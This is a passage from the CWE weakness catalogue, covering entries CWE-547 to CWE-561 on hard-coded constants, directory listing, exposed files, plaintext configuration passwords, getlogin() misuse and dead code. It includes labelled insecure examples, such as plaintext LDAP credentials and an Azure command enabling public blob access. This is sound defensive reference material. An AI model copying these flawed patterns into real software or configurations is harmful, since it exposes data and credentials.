Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779
PeerOf		615	Inclusion of Sensitive Information in Source Code Comments	1294

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	
	<i>Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.</i>	

### Potential Mitigations

**Phase:** Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

## Demonstrative Examples

### Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java

(Bad)

```
if (user == null) {
    // TODO: Handle null user condition.
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-547: Use of Hard-coded, Security-relevant Constants

**Weakness ID** : 547

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

### Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :



## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation  <i>The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.</i>	

## Potential Mitigations

### Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

## Demonstrative Examples

### Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C

(Bad)

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

Example Language: C

(Bad)

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2134
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2189
MemberOf	<b>C</b>	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL06-C		Use meaningful symbolic constants to represent literal values in program logic

## CWE-548: Exposure of Information Through Directory Listing

**Weakness ID :** 548

**Structure :** Simple

**Abstraction :** Variant

### Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

### Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1127

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
	<i>Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: System Configuration**

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2184
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	2231
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
WASC	16		Directory Indexing

## CWE-549: Missing Password Field Masking

**Weakness ID** : 549

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1157

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107
MemberOf		355	User Interface Security Issues	2112

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Implementation**

**Phase: Requirements**

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		995	SFP Secondary Cluster: Feature	888	2211

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-550: Server-generated Error Message Containing Sensitive Information

**Weakness ID :** 550

**Structure :** Simple

**Abstraction :** Variant

### Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

### Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		209	Generation of Error Message Containing Sensitive Information	510

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	2224

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: System Configuration**

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

**Weakness ID** : 551

**Structure** : Simple

**Abstraction** : Base

### Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.



### Extended Description

For instance, the character strings `./` and `/` both mean current directory. If `/SomeDirectory` is a protected directory and an attacker requests `./SomeDirectory`, the attacker may be able to gain access to the resource if `./` is not converted to `/` before the authorization check is performed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.



*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		696	Incorrect Behavior Order	1426
ChildOf		863	Incorrect Authorization	1664

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1212	Authorization Errors	2269
MemberOf		438	Behavioral Problems	2120

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188

## CWE-552: Files or Directories Accessible to External Parties

**Weakness ID :** 552

**Structure :** Simple

**Abstraction :** Base

### Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

### Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

In cloud technologies and containers, this weakness might present itself in the form of public (i.e., anonymous) access being allowed/overwritten to storage accounts.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		219	Storage of File with Sensitive Data Under Web Root	529
ParentOf		220	Storage of File With Sensitive Data Under FTP Root	530
ParentOf		527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1167
ParentOf		528	Exposure of Core Dump File to an Unauthorized Control Sphere	1168
ParentOf		529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1168
ParentOf		530	Exposure of Backup File to an Unauthorized Control Sphere	1169
ParentOf		539	Use of Persistent Cookies Containing Sensitive Information	1179
ParentOf		553	Command Shell in Externally Accessible Directory	1195

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

**Phase: Operation**

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

### Demonstrative Examples

#### Example 1:

The following Azure command updates the settings for a storage account:

*Example Language: Shell*

*(Bad)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

*Example Language: Shell*

*(Good)*




```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140



Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
150	Collect Data from Common Resource Locations
639	Probe System Files

### References

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

## CWE-553: Command Shell in Externally Accessible Directory

**Weakness ID** : 553

**Structure** : Simple

**Abstraction** : Variant

### Description

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	552	Files or Directories Accessible to External Parties	1193

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

**Phase: Installation**

**Phase: System Configuration**

Remove any Shells accessible under the web root folder and children directories.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
650	Upload a Web Shell to a Web Server

## CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

**Weakness ID** : 554

**Structure** : Simple

**Abstraction** : Variant

### Description

The ASP.NET application does not use an input validation framework.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	1173	Improper Use of Validation Framework	1824

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms

**Language** : ASP.NET (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State  <i>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Fit	Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

**Weakness ID** : 555

**Structure** : Simple

**Abstraction** : Variant

### Description

The J2EE application stores a plaintext password in a configuration file.

### Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		260	Password in Configuration File	596

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Do not hardwire passwords into your software.

#### Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

### Demonstrative Examples

#### Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

*Example Language: Java*

*(Bad)*

```
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

**Weakness ID :** 556

**Structure :** Simple

**Abstraction :** Variant

### Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

### Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	266	Incorrect Privilege Assignment	605

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

Use the least privilege principle.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189

## CWE-558: Use of getlogin() in Multithreaded Application

**Weakness ID** : 558

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

### Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	663	Use of a Non-reentrant Function in a Concurrent Context	1365

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	
Other	Other	

### Potential Mitigations

#### Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

#### Phase: Implementation

Use getlogin\_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

### Demonstrative Examples

#### Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

*Example Language: C*

*(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
```

```
deny();
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Authentication
Software Fault Patterns	SFP3		Use of an improper API

## CWE-560: Use of umask() with chmod-style Argument

**Weakness ID** : 560

**Structure** : Simple

**Abstraction** : Variant

### Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1413

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

Use umask() with the correct argument.

#### Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187

## Notes

### Other

Some umask() manual pages begin with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

## CWE-561: Dead Code

**Weakness ID** : 561  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product contains dead code, which can never be executed.

### Extended Description

Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1164	Irrelevant Code	1823
CanFollow		570	Expression is Always False	1216
CanFollow		571	Expression is Always True	1219

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences



Scope	Impact	Likelihood
Other	Quality Degradation <i>Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.</i>	
Other	Reduce Maintainability	

## Detection Methods

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

*Effectiveness = SOAR Partial*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

Remove dead code before deploying the application.

### Phase: Testing

Use a static analysis tool to spot dead code.

## Demonstrative Examples

### Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

*Example Language: C++*

*(Bad)*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

### Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

*Example Language: Java*

*(Bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

### Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

*Example Language: Java*

*(Bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

## Observed Examples

Reference	Description
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2175
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2261
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC07-C		Detect and remove dead code
SEI CERT Perl Coding Standard	MSC00-PL	Exact	Detect and remove dead code
Software Fault Patterns	SFP2		Unused Entities
OMG ASCMM	ASCMM-MNT-20		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-562: Return of Stack Variable Address

**Weakness ID** : 562

**Structure** : Simple

**Abstraction** : Base

### Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

### Extended Description

